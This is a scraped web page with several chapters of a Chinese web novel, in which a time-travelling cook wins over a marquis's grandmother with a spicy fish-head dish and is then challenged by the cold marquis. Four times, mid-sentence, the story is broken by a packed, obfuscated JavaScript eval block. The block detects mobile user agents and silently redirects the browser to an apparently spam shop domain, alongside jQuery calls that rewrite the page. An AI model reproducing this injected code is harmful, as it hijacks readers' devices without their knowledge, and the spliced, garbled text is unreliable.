l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753256|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你做的馉饳与索饼，倒让我忆起远隔千里的亲人来。” 印象中，每每军队凯旋，娘子总会做上一碗索饼等他归家。“索”若绳索，取其绵长不断之意，寓意着他能长久留在家中，一家人再无分离之苦。可最终仍是...... 他指尖微颤，抬首望向朝自己温和笑着的薛荔，心中忽而翻起千重浪。他的女儿若是还活着，只怕也同她差不多大了。 初见时，他其实并不大喜欢她。因她太随意、太不懂规矩、太活泼放肆，不像个下人该有的模样。更何况，还是靠着特殊机缘入府，总是让人心生戒备。 可渐渐的，他又觉得这个年纪的女孩正该如此。她成日琢磨些稀奇古怪的新菜色，同膳房里的老少同僚打成一片，铤而走险地为伙伴们做宵夜吃，连府中悦姐儿亦爱同她一块玩笑。 他的女儿若是在世，是否也可活成她这般无拘无束、洒脱豁达的模样？若苍天垂怜，那定比如今自己这般古板枯燥的余生来得快乐。 楚总管默默吃着馉饳索饼，将酸涩悄悄掩在低垂的眼帘之后。 “总管觉得这碗虾仁馉饳索饼滋味如何？”薛荔撑着下巴笑问。 楚总管放下碗勺，低声咳了两下，抬手拿帕擦唇，不答，只是淡淡看她一眼，目光示意她瞧那碗。 薛荔挺身一瞧，这么大一口莲瓣海碗，里头装了满满当当的索饼与馉饳，居然都被他吃得一干二净，连汤都喝下肚大半碗，不由得竖起大拇指称奇：“不愧是楚总管，病中肚量竟也如此之大，小女子佩服！” 楚总管斜她一眼：“你的好意我心领了，但往后莫再胡来。侯府里规矩不少，你负责侯爷的日常饮食，该晓得轻重。” “是是是，儿家省得了。”薛荔嘻嘻笑着回道。 - 自从打通了楚总管这一难关，薛荔在侯府过得可谓是愈发如鱼得水。 昨日深夜，约几位相熟同僚聚众食宵夜；前日中午，还趁午歇之际大放送薛记珍味铺之红票，引得府中仆从结伴上珍味铺用膳。铺子得利，府中人情也笼得稳妥，这算盘打得可谓是一箭双雕，毫不耽误。 唯一惹她愁肠百结的，便是这迟迟不归府的侯爷。 此刻正午时分，阳光正盛，水气蒸腾。 薛荔背上背个竹篓，手里攥着把短柄镰刀，蹲在府中园林河岸边，一下一下割着长得正旺的辣蓼。 昨日她方在侯府药寮处寻得几株茱萸，今日饭后信步至此，无意低眸一瞧，竟于河边草丛中发现了一大片辣蓼，当即喜不自胜，转身便回房取了镰刀、竹篓，又冒着毒辣的日头跑了回来。 谈及识花认木，她还真得感激原主昔年随父习医所学的那几分真本事，否则她怎可能一眼便识出辣蓼？ 薛荔一边割着辣蓼，一边于心底里臭骂起齐恂来——你说说，官家都张皇榜给你招厨子了，你还不好好回家吃饭，成日在外头东奔西跑不知所踪，不知忙活些甚么事，一天到晚见不着人影儿，多大的脸？不用膳倒也罢了，可若是因此身体未能调养好，最后倒霉之人还不得是她？ 哦？你问为何事倒霉？ “嗬，当然是给齐恂做厨子倒......”不知何时，薛荔已将心中所想一吐为快，可话到一半，忽而又觉不对劲，瞥见身后侧的两道黑影，急急忙忙刹住话头。 30. 茱辣烩鱼首 “老......老太君金安。”薛荔一扭头，顿时打了个激灵。 只见府中太母乌氏正由一个随身女使搀着，身披素缎罩衣，手杖拄地，就立在不远处，慈祥万分地温和笑看着她，亦不知站了多久，听去了多少。 薛荔的表情简直是笑比哭还难看，她就说自己如何一问一答起来了？敢情不是她自言自语，而是老太君在此同她扯闲。 “好孩子，不必同我行大礼，将我当作自家太母便好。”乌氏见她着急忙慌，笑容愈发和善了。 薛荔欲哭无泪。 老太太，眼下若不同您行个大礼，明日我还有小命见到曙光么？ 乌氏却似乎并未纠结方才未完的“倒霉”对话，而是瞧见她面上复杂的神情，只以为是天气酷热，将小妮子的脸给晒皱巴了，于是以手杖指了指散落一地的绿植：“今日本就苦热，又近正午时分，你在此处除草，不怕得暑暍？” “回老太君的话，儿家并非除草，而是取一种名唤辣蓼的水草，用来熬制辣蓼汁，以为佐料用。” “辣蓼汁......”乌氏若有所思，又轻轻颔首，“对了，楚总管曾跟我提过，说你向来好点子多。那这回你打算以它烹制何菜？可需要何奇珍药材？” 完了，这是以为她要给齐恂制作药膳来了。 薛荔只觉汗流浃背，无奈微笑着回道：“其实今日欲尝试的新菜并不适合侯爷当下食用，儿家只是见近来酷暑难当，府邸众人食欲皆不佳，这才想着取茱萸、辣蓼之辛香，做一道茱辣烩鱼首来开开胃口。” “茱辣烩鱼首？”乌氏闻言，侧过脸对身旁女使含笑道，“我活了六十余载，还真是头一次听这般稀奇菜名。” 年长女使亦笑着就势回道：“老太君近日不也常言天气闷热，食不遑味？不妨要薛小娘子做这道辣菜给您一尝，保不齐便开胃了呢？” “老太君若肯赏光尝我手艺，那是小女子的荣幸才是。” 乌氏却失笑摆手：“你是官家聘来专给恂哥儿做膳食的，为我制膳岂不劳烦？” “老太君可莫要折杀儿家了，儿家怎担得起老太君‘劳烦’二字？”薛荔巴不得抱紧乌氏这条大腿，乖巧莞尔，“都说‘孝悌有闻，人伦之本’，而‘以孝事君则忠’，官家若知晓侯爷孝思不匮，定会倍感欣慰。” “想不到你这妮子小小年纪，竟说得一口好‘大义’。”乌氏笑意更浓，“好好，既如此，那便做来与我一尝罢。” - 既是做给老太君尝的菜，便容不得半点马虎，成则功德圆满，败了……咳咳，她堂堂薛大厨，如何能败！ 薛荔于心底里暗自给自己打气，将那一筐新鲜辣蓼背回膳房，袖子挽起，围裙系好，便开始张罗起这一筐茱萸和一筐辣蓼。 熬煮茱萸酱，首先得选色泽红亮、果实饱满的鲜茱萸果。她将果子洗净拭干，倾入石臼里，再用杵子捣碎，果肉便在臼中渐渐化作黏腻的浆糊，散发出独有清香。 接着，她又取来竹筛，细细筛去果核，将果泥倒入小锅之中，添入薄薄一层蜂蜜，又刮了些橘皮末增香，低火慢熬，屋里登时溢出一股明显的酸涩辛辣的草木香。 薛荔低头一嗅，觉这香气虽好，却少了点“辣意横生”的气派。思忖片刻，于是乎抄起小碗，现挤姜汁，滤去渣滓，倾入锅中。米黄的汁液与红澄澄的酱泥融合，搅动间辣气直往鼻腔里钻，她边嗅边点头，这才算有了几分正味嘛。 趁着熬制茱萸酱的间隙，她又趁热打铁，忙不迭地将那一筐辣蓼倒出，来处理辣蓼。 辣蓼需挑去枯枝烂叶，只取茎干肥嫩、翠色欲滴的部分。洗净晾干后，照旧送入石臼，加了些水，又是一通有力捶打。 汁液渐溢，翠绿鲜亮，似要滴落成翠珠，她提起麻布包，将辣蓼原液一点点滤出，收进罐子里。 方才收割了约莫一斤鲜辣蓼，眼下已榨取出小半升汁液，薛荔思忖着大概一道菜用不完，便往其中添了撮盐粒防腐，盖上盖子，封得严严实实。 这般一折腾，她身上可谓是出了一层薄汗，额角几缕碎发贴了下来，这才松了一口气。正待松动松动肩膀，忽听一声唤：“阿荔！你果然在此！” 薛荔抬首一瞧，那风风火火之人不是齐悦又是何人？ “齐小妹，你怎地到膳房里来了？”薛荔一面净手，洗去双掌上的辛辣味，一面问她道。 “珍味铺里人太多，我见坐不下，便要喜鱼将我平常吃饭的小间收拾出来招待客人。”齐悦解释。 “那怎么能行，你可是咱们珍味铺的座上宾，那本就是你的专属包间。”薛荔道，“再说了，你将那地儿让给了旁人，自己上哪去用膳？” 齐悦眨眨眼笑了笑：“嘿嘿，其实今午我还不曾用膳呢——不过你可千万莫要误会，并非你做的饭菜不香，而是这天太热了，热得我胃口大减，实在是吃不下。” 话音方落，她鼻子忽地一动，眯起眼往四周嗅了嗅：“咦，这味儿……怎地怪怪的？” 薛荔楞了下，蓦地惊觉：“呀！我的茱萸酱！” 她三步并作两步飞至锅边，只见绛红色的酱汁表面正浮起密匝匝的灰褐色气泡，拿木铲搅动时，都可瞧见锅底隐约的焦糊色——这便是熬制酱汁时，不守在边上用木铲持续搅拌的后果。 薛荔一拍脑袋，手脚麻利地撤了火。 所幸这是初次熬制，她早留有一手，一开始便留了些茱萸不曾全然祸害完，要不然，眼下又该如何补救？ 齐悦好奇地凑上前瞧道：“阿荔，你这是在熬煮什么呢？” “此物唤作茱萸酱。”薛荔一面麻利地换锅、翻出备用茱萸，重新洗净、捣肉、滤汁，一面不忘同齐悦解释，“不但可以佐食鱼鲙去腥、腌制豚肉，还可以加入到日常的茶汤中，制成药饮。” 齐悦又指着旁边瓷罐问：“那罐子里绿莹莹的是什么？” “那里头乃辣蓼汁，不光能入菜，还可拿来酿酒。以此法制成的甜酒清香回甘，胜寻常者数倍。” “原来如此。可怎么都是一股辣味儿，这是要做什么菜么？” “还是你机灵。”薛荔朝她挤眉一笑，“你家太母胃口不佳，点名要吃我做的茱辣烩鱼首，那我自然得费些心思。” “阿荔你好生偏心！不行，我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757392|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要吃！”齐悦故作气鼓鼓道。 薛荔反问：“你家太母千百般疼爱你，你要吃她哪有说不的时候？” “那亦不行。”齐悦思索了片刻，不知想出什么鬼注意来，缠着她的手撒娇，“我近来胃口亦不佳，你不如也把我的食谱改上一改？不然我都没法好好吃饭，还如何减肥？” 闻言，薛荔仔细上下打量了眼齐悦。 说实话，这段时日齐悦日日都坚持吃减脂餐，脸颊、手臂、肚子上的余肉都消了大半，已是抽条不少。至于她仍觉着自个儿胖，那应是从前点心蜜饯吃多了，体脂较高，俗称“泡芙人”，光靠吃或许效果甚微，得加些运动量才行。 薛荔一口应下：“行，明日起我便给你定制新菜谱！” 二人说笑着，锅中酱汁似乎已差不多了。 薛荔拿筷子蘸取一滴酱汁滴入水中，而酱不散不浑，仍成原型，这便是熬制成功了。 她收好酱料，洗净手，转而来收拾胖头鱼。 鱼头要想好吃，首先得将鱼头上的鱼鳞、鱼肚里的黑膜与贴骨血仔细刮净，在鱼肉较厚处改几道斜刀，接着便将其拿葱姜盐与黄酒腌着。 做到这一步时，她忽地想起膳房前些日子刚入库了一小包稀缺罕见的胡椒。 这时候虽无辣椒，但若能加些胡椒，亦是好的。 于是乎，她又矜持而慎重地取出几粒，搁进石臼里捣碎，撒入腌料里，以指尖轻轻按揉，翻拌均匀。 趁鱼腌着的工夫，薛荔另一边来起锅烧油，下入姜蒜、豆豉、茱萸酱和辣蓼汁同炒，以小火煸炒出辣香味来，香味缠绕鼻息，久不散去。待到蒜瓣泛金，油光带亮，再往锅里撒入些细砂糖与胡椒粉，提鲜添辣。 将酱料盛出时，鱼头已腌制约莫一刻钟，此时刚好可将腌制入味的鱼头洗净，沥干水，摆入大盘，底下垫两双交错的木筷以便受热均匀，再将煸炒的酱料厚厚地覆在鱼头之上。 灶台上锅水已沸，此刻将盘送入锅，蒸足十分钟。一开锅盖，热雾缭绕中，殷红油亮的鱼头辛香扑鼻而来，热辣又诱人。 薛荔不慌不忙地撒上一把小葱细圈，烧了热油泼顶——只听“呲啦”一声，香味骤然炸开，满膳房皆是香辣四溢。 这滋味，老太君想不爱都难罢！ - 齐恂归府时，恰值一日里最热时分，暑气蒸腾，天像捂了层厚棉，闷得连蝉都叫个不歇。 这些时日，为暗中查明户部尚书贪污军饷一案，他乔装打扮，连日奔波于各处酒楼、商铺之间，蹑踪寻迹、监视其行径。 暗查进行得倒是颇为顺利，唯独有一点不便，那便是去到酒楼饭肆里，难免要点上一桌佳肴美酒。 他本就无甚胃口，对那些个个浓油赤酱、腴腻厚重的菜肴提不起兴趣，勉强动箸不过几口。就是苦了云冯，前段时日是到了饭点吃不上一口热饭，这下倒好，吃到厌饫仍不得停嘴，胃胀如鼓，唉声连连。 齐恂瞧着心中不忍，索性给云冯放了七日假，权作是慰问他那张劳苦功高的嘴，还有因公殉职的胃。 提到“用膳”这事，他倒实实在在想起一人。 31. 翡翠白玉卷 他不在府中的这段时日，曾听云冯无意提及，那小厨娘日日按时备妥三餐，只待他归府尝上一口。明明不过是按着例规行事，可他听了心中却泛起一阵说不清的涟漪。只可惜这段时日公务繁多，直拖到今日才抽出空闲来。 也不知那小厨娘今日在侯府里做了些何好吃的？ 齐恂穿过回廊，下意识地便转了个方向，往膳房而去，日光透过层层花簇，落于朱漆支摘窗的窗棂上，映出一片花影，可环视一圈，都未瞧见那抹清丽身影。 此刻正值食时，她人去哪了？ 齐恂微微拧眉，目光瞥见院中槐花树下蹲着躲闲的两个小女使，唤住那二人：“你们薛厨娘去了何处？” 这道冷冰冰的声音可谓是将那两个小丫头嚇了一大跳，登时弹起身来，慌忙欲遮掩住背后花坛上搁着的东西。 “见、见过侯爷！薛小娘子方才似乎去了老太君院中。”一个小女使结结巴巴地回道。 齐恂视线淡淡一扫，便瞧清这二人身后藏着的物什——一只食盒静静摆在花坛边，盒盖微启，露出其中所盛的几块雕花细巧、粉润娇艳的桃花酥，仿若春日初绽的花瓣，酥皮轻薄，层层分明，微微翘起边皮，分明刚出炉不久。 他眸色微沉。 不必细想都知，这些糕点出自何人手艺。 “那东西哪来的？”齐恂明知故问。 小女使见他神色冷如霜，面露为难，终了仍是抵不过那双眼的威压，被吓出了口：“是……是薛小娘子每日从铺子里带来给大家伙尝鲜的点心，她亦是一片好心，都怪奴婢嘴馋，还请侯爷责罚！” 呵，好得很。 凭美食收买人心，眼下连才相识半月女使都帮着她说情了。 那糕点他还不曾尝上一口呢！ “府中众人皆吃过了？”齐恂冷声问。 小女使摸不准他是何意，但想着法不责众，于是乎颤着声怯怯道：“......是，云近卫尝过，小姐也尝过……噢，今日老太君亦……” 当真好得很，兜来转去，全教旁人先尝了鲜，反倒唯独落下他一人。 那小厨娘还晓得自己入府究竟是为了何人么？ 另一位小女使眼尖些，瞧他面色沉冷，忙从身后将那只食盒捧上前来，双手奉上：“侯爷许久未归，不知可曾用午膳？若不嫌弃，不若先吃些桃花酥垫垫肚子，奴婢这就去请薛小娘子回来。” 齐恂冷冷扫了眼食盒里娇艳欲滴的桃花酥。 方才想通，这点心亦随主人，极易招蜂引蝶，看似娇俏明媚，偏偏里头藏了三分火气，食多了烧人心火，不食却又念兹在兹。 还不等小女使将话说完，齐恂抬步离去，未置一言。 做给旁人吃的东西，他才不屑去尝。 - 乌氏院内。 院中日头虽毒，但幸而有槐树荫蔽内室屋顶，倒也让人神闲气静。 乌氏由女使搀扶着缓缓落座于雕花黄杨木椅。碧纱帐外，仆人们手捧乌檀木描金食盒，步履轻盈，鱼贯而入，将菜肴一一摆上案几。香气钻出食盖缝隙，于室内弥漫开来。 薛荔早在一旁候着，笑吟吟介绍：“老太君，今日备了几道开胃消暑之膳，这道‘茱辣烩鱼首’，请您先尝一尝。” 说着，她揭开最前方那只白瓷深碟的盖子——一股辛辣鲜香之热气腾地升起，瞬间驱散了所有的淡而无味。 那胖头鱼首被白瓷碗托住，一分为二，剖面朝上，整齐地躺于深碟内，茱萸酱红艳如夕霞，沿着灰银的鱼皮流淌，泛起一层油润莹亮的光泽，配着其上细碎葱圈与蒜末，辛烈气腾腾，仿若要冲破这般暑气，叫人一嗅便口舌生津。 “鱼首选自肥硕花鲢，已先行腌制入味，再以茱萸酱、辣蓼汁覆面蒸透，待鱼肉熟透后泼上滚油，一则添香，二来锁味，辣中带鲜，滋味爽口。鱼眼周围与鱼鳃后的肉最是嫩滑细腻，老太君不妨将鱼肉蘸取汤汁，淋在米饭上享用，如此一来，风味愈加浓郁。” 乌氏闻言动筷，轻轻挑起鱼颊的一块嫩肉，略略蘸了些汤汁送入口中，唇舌一呡，只觉鱼肉嫩比水豆腐，入口即化，鲜美余辛。汤汁顺着喉头滚入胃腑，一丝火辣后劲紧随而至，却非刺喉之烈，反而带着些茱萸特有的微甜，犹如热风拂过田野，辛香层叠不绝。 她眼神一亮，满意颔首：“鱼皮弹中带滑，鱼肉细腻润口，香辣有劲却不冲鼻，当真是暑天解乏、开胃之良膳。” 一旁的齐悦早等不及了，见乌氏已动了筷子，软声凑上前来问：“太母，我能尝一口么？” 乌氏忍俊不禁，笑着将筷子递她：“吃罢，小馋猫。” 齐悦笑嘻嘻地夹起一块鱼肉入口，还未吞下肚，登时便发出一声轻呼：“这鱼肉蒸得也太有滋味了！还有这汤汁……嘶——辣辣辣辣！” 乌氏吃鱼时，不过是夹着鱼肉轻轻蘸取了一点汤汁，而齐悦却是将整片鱼肉全然浸润于辣汁里，她又不常吃辣，自然被辣得眼泪直流，张嘴喷火。 齐悦捂着嘴巴，眼眶泛红，舌头直往外伸，一旁的乌氏笑得前仰后合，连连唤身边女使递上茶水，又命人拿蜜梨片解辣。 薛荔掩唇偷笑，亦借此引出下一菜：“鱼头虽好，但终归重口，还需几道清淡菜肴搭配才不乏腻。” 说罢，她轻轻一抬手，顺势介绍第二道菜：“此乃‘翡翠白玉卷’，以鸡汤煨软嫩白菜叶后内裹鸡茸、虾泥、香蕈丝与胡萝卜末，蒸制入味，清淡而不寡，搭配鱼首正好清口。” 案几上，一排雪白如玉的卷子整整齐齐地卧于瓷盘中，翠绿白菜叶绵软地裹挟着内里馅料，晶莹剔透，圆润丰盈。 齐悦张嘴哈气，手忙脚乱地夹起一枚白玉卷塞入口中，白菜鲜甜，内里馅料之口感富有层次，简直齿颊生香！ 她放慢了些速度，细细咀嚼着，终是解了些辣意：“这翡翠白玉卷外边软糯，里头的虾泥却很是脆弹，配上饶有韧劲的蕈菇与甘甜的胡萝卜丁，还甜滋滋的！” 薛荔见她赞不绝口，心里也是欢喜，又将余下菜式一一释明： “此为‘雪耳炖鸽盅’，选用乳鸽与雪耳慢炖，炖汤乳白清澈，鸽肉不柴，滋养胃肠，温补不燥；此乃‘荷塘小炒’，以荷塘初出脆藕搭配木耳快火猛炒，脆甜可口；还有一道‘豆豉黄瓜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776175|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拌脆笋’，用的是府中井水冰镇过的嫩笋尖来拌，再配上豆豉与蒜汁，凉爽去腻。” 一道道菜下来，既配搭讲究又不见浮华堆砌，皆因应节气暑热而选，色香味俱全。 乌氏吃得极为满意，对薛荔便是愈发地慈眉善目了，放下箸来道：“你一早忙到现在，也受累了。来人，添张椅凳，叫薛小娘子坐下与我们一同吃。” 一旁的女使顷刻便备好了碗筷座椅。 薛荔忙婉拒：“这如何使得？儿家是庖厨出身，与主顾家同桌吃饭岂不坏了规矩？” 乌氏语气柔和，却不容推辞：“你较悦儿都年长不了几岁，在我这老媪眼中仍就是个孩子。规矩甚么的先放一旁，你忙了这般久，莫不成不累乏？我可不信。来，坐下吃饭罢。” 薛荔听着，只觉鼻头猛地一酸。 自打她穿越来了大宋之后，从未见过这身原主的耶娘，亦未从旁人那处感受过亲情温暖。而面前这位老太太出身名门世族，年高望重，同她不过几面之缘，却待她体贴备至，呵护有加，散发出祖母般的关爱。 薛荔努力眨了眨眼，试图将渐泛上来的泪强忍着压回，旁边的齐悦亦起身拉她坐下：“哎呀阿荔，别磨蹭了，我亦想同你一起吃嘛——” 薛荔拗不过，只得坐下。三人其乐融融，她还是头一回觉着自己做的饭菜这般可口。 可乌氏却忽而停箸，唤住她道：“对了，薛丫头。” “老太君请讲。”薛荔停下筷子。 “今日你在河边采蓼时，似乎提了句恂哥儿，说到一半便收了口。当时是要说什么？可是他小子欺负你了？”乌氏关切万分地凝着她。 “没......没有呀。”薛荔被这突如其来的话问得怔住，绞尽脑汁，嘴抽地蹦出一答复来，“儿家当时是说，能给侯爷做厨子，便是倒......倒贴银钱也甘愿！” 话一出口，她便开始追悔起来，脸烧得通红，只恨不能把自个儿毒哑才好。 她于心中哀嚎：薛荔呀薛荔，你的两世英名都要败在这句话上了。 齐悦听闻此话，率先反应过来，惊得连险些呛饭：“咳咳......阿荔，你......？” 而乌氏先是一楞，继而抚掌呵呵笑起来：“好个直爽的小丫头，你莫不是被外头恂哥儿的令誉唬住了？” 她笑得乐不可支，却依旧亲厚温和：“其实啊，他亦只是一寻常郎君，之所以能得百姓称颂，是因他尽心竭力为民，而民亦爱他、敬他。不过平日在府里，他终归是主君，你日后还是莫要直唤名讳，不然被有心之人听去，恐惹事祸上身。” 还好还好，乌氏这般模样，当是信了她的说辞。 薛荔这才松了口气，忙不迭地应下老太君的话。 正此时，脚步声由远而近。 齐悦是个眼尖的，一眼便瞧见那来人，目光一亮：“阿兄！你回来啦！” 薛荔偏首一瞧，只见齐恂身着一袭淡青常服缓步而入，神色恬淡，走至桌边时，目光在桌上丰富的菜肴上一掠，又不轻不重扫过她的面庞。 这眼神，怎地觉着怪怪的...... 32. 槐叶冷淘面 可他瞧她做什么？莫不成，是不满意她坐下来吃饭？ 齐恂见薛荔坐于桌边，一身素色小褂被热气蒸得薄汗微现，面颊微红，却精神得紧。看来，他不在府上的这些时日，她倒过得如鱼得水。 “太母金安。”齐恂敛袖行礼，先行向乌氏问安。 “恂哥儿，你可算舍得回来。”乌氏招手笑言，“还不曾用膳罢？正好，这丫头做的新菜开胃得紧，你也来尝尝。” 齐恂眸光移至那盘红艳艳的鱼首，眉宇微动，片刻不语。 齐悦亦赞道：“正是！阿兄，你平日不在府上，今日难得回府，可不能错过这般好滋味！” 此话可谓是戳在了齐恂的心窝上。 他立身一旁，无落座之意，只淡淡言道：“我胃不好，吃不得太辣。” “如此，侯爷不妨尝尝这道翡翠白玉卷？”薛荔连忙起身，引着那碟清素雅致的菜卷道，“此菜清淡甘甜，无过多调味，又富含营养，最宜侯爷当下食用。” 可齐恂却跟未发觉她这人似的，置若罔闻，兀自同乌氏告退：“孙儿远归，袍服染尘，待换身干净衣裳再来陪太母说话。” 薛荔暗地撇了撇嘴，眼角余光微瞧一眼他衣衫，那常服干净得连个褶皱都无，此话分明是借口。 乌氏并未多言，只笑着叮嘱：“我叫膳房炖了鸽盅，待会差人给你送去。” 话罢，他朝乌氏拱手，转身离去。 齐悦瞧出自家兄长对薛荔的冷淡，心中虽觉有些怪，却仍悄声宽慰她道：“你莫放在心上，我阿兄此人脾性难揣，对谁都冷冰冰的。” 薛荔点了点头，倒是丝毫不质疑这一点，心中暗暗腹诽着那冰山郎，嘴上却对齐悦道：“无妨无妨，侯爷仆仆道途，想来很是辛劳，自然无暇顾及旁人。” - 膳毕。 薛荔陪乌氏说了会儿话，时至日头偏西，方才起身告退。 路上，她一边复盘着今日乌氏的态度，一边于心底里高兴。今日这一席菜得了老太君的欢心，往后在府中的日子只怕会更加好过！ 生活，易如反掌啊！ 如是窃喜，她脚步轻盈地穿过院中回廊，可方一转角，前方一道笔挺身影突兀出现，将她去路堵了个正着。 亭阁石桌前，齐恂正独自手谈，案上白玉棋子点布成阵，而他手中执子，气定神闲。 薛荔被吓了一跳，忙敛裙行礼：“儿家见过侯爷。” 齐恂未抬眸瞧她，只不咸不淡地应了声，面上看不出喜怒。 薛荔不知该如何是好，在原处干站好一会儿，思索着自己是勇往直前绕开会惹恼他，还是呆呆地杵在这儿干站着会惹恼他。 脑海中天人交战，她权衡再三，决定悄悄原路返回，换条道回膳房。 她惹不起，还躲不起么？ 正往后撤步子时，她似乎隐约听闻到了一声无奈又无语的叹息。 薛荔停住脚步，疑心自己听错了，不大确信地回首确认那声音来处时，齐恂却于此时忽而开口：“老太君用完膳了？” “是。”薛荔回道，“方才老太君已午歇下了” 齐恂微微颔首，不急不缓地落下一子，淡声道：“我不在的这段时日，你在府中倒是讨喜，上下众人，乃至老太君都对你赞不绝口。” “侯爷言重了。”薛荔心下一跳，心虚地拢了拢衣袖，“近来侯爷公务繁忙，鲜少归府用膳，但儿家左思右想，既受俸禄，便该做些实事，否则心中不踏实，这才于空闲之时做些吃食与大家伙品尝。” “嗯，心思倒是好的。”齐恂面无表情。 薛荔微微抬眸瞧着他，心中暗诽你这语气可算不上好啊。 “只是有一点，我瞧你无甚机敏。” “……啊？” 齐恂缓缓搁下手中棋子，起身步近，身姿修长，步步逼人，俯身靠近，凝视着她眼眸：“你终日周旋于众人之间，用美食收揽人心，可曾想过最该讨好的‘重人’就在眼前？” “？！”薛荔脑中“嗡”地一声炸开。 他……他居然知晓此事？ 薛荔打哈哈干笑了下：“侯爷不但气宇轩昂，且还风趣横生呢！不过，儿家只不过一介市井小女子，怎可能有如此多小心思？侯爷便莫要打趣儿家了。” “打趣？”齐恂慢慢逼近，目光压人，“方才是何人说，‘能为侯爷作厨，便是倒贴银钱也甘愿’？” 他怎地耳朵这般好，连这话都听去了？薛荔勉力维持笑意，一寸寸地往后仰头，于险些滑个大跟头的前一刻，他却忽地直起身，冰山似的脸庞离开了她面前。 齐恂负手转身，语气微凉：“明日中午，我会在府中办公，届时......” 他顿了顿，侧脸盯着她，眸光如墨，慢条斯理道：“薛小厨娘务必要让我吃上一顿从未尝过的美味。” 言罢，不再多留，只余飘飘衣袂拂过她眼前。 薛荔站在那儿，望着他离开的背影，嘴角抽了抽，苦恼良久。 “从未尝过的美味”...... 真是好大一个任务！ - 晨光熹微，碧空未染，天边一抹鱼肚白缓缓铺展开来，园中湖面上尚泛着一层薄雾，凉风携着露气拂过花枝，亦拂过亭阁那边倚立着的小娘子。 齐悦今儿起了个大早，吩咐女使给自己换一袭轻软简便的装束，眼下正打着哈欠，靠在亭阁一侧的石柱边懒洋洋地等人。 不远处畦丁正忙着更换花草，督工的楚总瞧见她身影，快步迎上前来，微微一礼道：“小娘子今儿起得这般早，可是要出府？可需吩咐人备好车驾？” 齐悦努力睁开惺忪的睡眼，对他摆摆手道：“不必不必，我并不出府，只不过在此处等阿荔罢了。” 楚总管听罢，颇有些意外：“两位小娘子相约清晨，是有何急务？” “哈——其实亦不是什么大事。”齐悦又忍不住打了个长长呵欠，掩口道，“阿荔道我平日缺少运动，为强身健体，非要我每日清晨随她一并晨跑。” 晨跑便罢，还得沿着宅园湖泊足足跑上四圈方得歇脚！累煞人耶！ 楚总管继而不禁失笑：“身之健旺，非同小可，薛小娘子向来主张以食疗补，此番竟然带头运动起来，可见对小娘子之上心，小娘子可要持之以恒才是。” “我当然晓得这理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784473|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿......”齐悦嘟囔着应了一句。 自打上回她缠着薛荔换一套夏季减肥食谱，后者二话不讲，效率杠杠，于翌日便雷厉风行推出一整套“夏日清爽”膳食—— 一日三餐皆由三部分组成： 晨食主膳为槐叶冷淘荞麦面，取鲜嫩槐叶榨汁，与荞麦粉拌和成团，浇梅子酱，搭配腌菜丝下面，筋道滑爽，酸甜开胃。佐食乃水煮鹌鹑蛋三枚，用以补充蛋白质。饮子乃紫苏熟水，好处自不必多说，行气和胃，利湿消肿。 午食主膳为雪霞藜麦饭，以红荷花瓣与豆腐同煮而成的“雪霞羹”盖浇于藜麦米饭之上，色泽宛如朝霞洒雪，香气微浮，轻而不腻。且藜麦饭乃粗粮，有控糖之效。 吃饭自少不了肉食，肉膳乃是切成薄片的水晶脍，瘦肉酥香，胶冻爽滑，胶原蛋白丰盈，入口即化，实乃良选。时蔬亦不可或缺，醋浸莴笋丝以少盐少油之法炒至，既爽口，又增添膳食纤维??。 至于晚膳——则是冰雪绿豆拌时果，入口凉爽。佐以小食，梅子姜三片。膳后小饮则是羊乳酪半盏，表层撒些桂花碎末，乳香醇厚，雅意馥郁。 齐悦吃得倒是吃得心满意足，可一旦搭配上运动，她便不那么笑得出来了。 正怨天尤人间，薛荔终是姗姗而来。 “你瞧瞧，分明是你相约我晨跑，如今却教我等你良久。”齐悦双臂环抱胸前，神气赳赳道，“薛小荔，罚你待会儿替我多跑半圈。” 齐悦兀自说着，丝毫未注意到薛荔低垂着的脑袋瓜，是以当后者缓缓抬起头来时，吓了她一大跳。 “啊——！”齐悦惊叫着楞在原地，她呆呆地瞅着薛荔的脸庞，“阿荔，你这是怎么了？” 不见不知道，一见吓一跳，薛荔少气无力地倚靠于一旁石柱上，那双本应澄亮的狐狸眸下竟顶着两大片乌青，形容憔悴，生无可恋地望着她：“这还需多问么？” ——显然是一夜未曾安眠。 